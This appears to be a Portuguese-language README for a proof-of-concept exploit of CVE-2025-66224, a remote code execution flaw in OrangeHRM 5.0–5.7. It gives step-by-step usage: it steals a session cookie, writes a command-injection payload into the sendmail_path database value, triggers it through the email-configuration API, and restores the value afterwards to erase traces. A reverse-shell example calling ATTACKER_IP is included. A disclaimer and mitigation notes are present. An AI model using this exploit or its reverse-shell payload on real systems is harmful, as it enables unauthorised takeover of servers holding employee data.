OrangeHRM RCE Exploit - CVE-2025-66224

📋 Descrição

Esta Prova de Conceito (PoC) demonstra uma vulnerabilidade de Execução Remota de Código (RCE) no OrangeHRM através de injeção de comandos no parâmetro de configuração sendmail_path.

A exploração funciona da seguinte forma:

1. Injetando um payload malicioso no banco de dados MySQL (tabela hs_hr_config)
2. Disparando a execução do payload por meio do endpoint da API de configuração de e-mail
3. Restaurando automaticamente o valor original para limpar rastros

🎯 Versões Afetadas

• OrangeHRM versão 5.0 a 5.7

⚠️ Aviso Legal

Esta ferramenta é fornecida apenas para fins educacionais e de testes de segurança autorizados. O acesso não autorizado a sistemas de computador é ilegal. Os autores não são responsáveis por qualquer uso indevido ou dano causado por esta ferramenta.

🔧 Requisitos

pip install requests mysql-connector-python

📦 Instalação

git clone https://github.com/richard-natan/PoC-CVE-2025-66224
cd PoC-CVE-2025-66224
pip install -r requirements.txt

🚀 Uso

Passo 1: Obter o Cookie de Sessão

1. Faça login no OrangeHRM pela interface web
2. Abra as Ferramentas do Desenvolvedor no navegador (F12)
3. Navegue até Armazenamento > Cookies (Firefox) ou Aplicativo > Cookies (Chrome)
4. Copie o valor do cookie _orangehrm

Passo 2: Executar o Exploit

python3 exploit.py -t <TARGET_URL> -c <COOKIE_VALUE> \
    -dh <MYSQL_HOST> -du <MYSQL_USER> -dp <MYSQL_PASSWORD> \
    -cmd '<COMMAND_TO_EXECUTE>'

Exemplo - Comando Simples

python3 exploit.py -t http://127.0.0.1:8080/ \
    -c "g58tak8pbnheseatv6dggvi31i" \
    -dh 172.18.0.2 \
    -du orange_user \
    -dp orange_password \
    -cmd "touch /tmp/pwned"

Exemplo - Shell Reverso

# Start listener on attacker machine
nc -lvnp 4444

# Execute exploit with reverse shell payload
python3 exploit.py -t http://target.com/ \
    -c "your_session_cookie" \
    -dh 172.18.0.2 \
    -du orange_user \
    -dp orange_password \
    -cmd 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'

📝 Parâmetros

Parâmetro	Abreviação	Obrigatório	Descrição
--target	-t	✅	URL alvo (ex.: http://target.com)
--cookie	-c	✅	Valor do cookie de sessão
--cookie_name	-cn	❌	Nome do cookie (padrão: _orangehrm)
--command	-cmd	✅	Comando a executar no alvo
--db_host	-dh	✅	Endereço do host MySQL
--db_user	-du	✅	Nome de usuário MySQL
--db_pass	-dp	✅	Senha do MySQL
--db_port	-dport	❌	Porta MySQL (padrão: 3306)

🔍 Como Funciona

Detalhes da Vulnerabilidade

A vulnerabilidade existe na funcionalidade de configuração de e-mail, onde o parâmetro sendmail_path é armazenado no banco de dados e posteriormente executado sem a devida sanitização.

Fluxo da Exploração:

1. Authenticate to OrangeHRM (obtain valid session cookie)
   ↓
2. Connect to MySQL database
   ↓
3. Locate hs_hr_config table
   ↓
4. Update email_config.sendmail_path value:
   FROM: /usr/sbin/sendmail -bs
   TO:   /usr/sbin/sendmail -bs && <PAYLOAD> #
   ↓
5. Trigger execution via API:
   PUT /web/index.php/api/v2/admin/email-configuration
   ↓
6. Command executes on server
   ↓
7. Restore original value (cleanup)

Detalhes Técnicos

Parâmetro Vulnerável: email_config.sendmail_path

Banco de dados:

• Tabela: hs_hr_config
• Coluna: name = 'email_config.sendmail_path'
• Coluna: value = caminho do comando sendmail

Endpoint de Disparo:

PUT /web/index.php/api/v2/admin/email-configuration

🛡️ Mitigação

1. Validação de Entrada: Implemente uma validação rigorosa para o parâmetro sendmail_path
2. Escapamento: Faça o escape adequado dos comandos shell antes da execução
3. Menor Privilégio: Execute o servidor web com privilégios mínimos
4. Atualização: Aplique os patches de segurança mais recentes para o OrangeHRM

🤝 Créditos

PoC por: RiccK

Equipe: Bypassadores && HackersOnSteroids

🔗 Referências

• CVE-2025-66224

---

⚠️ Use com responsabilidade. Sempre obtenha a devida autorização antes de testar.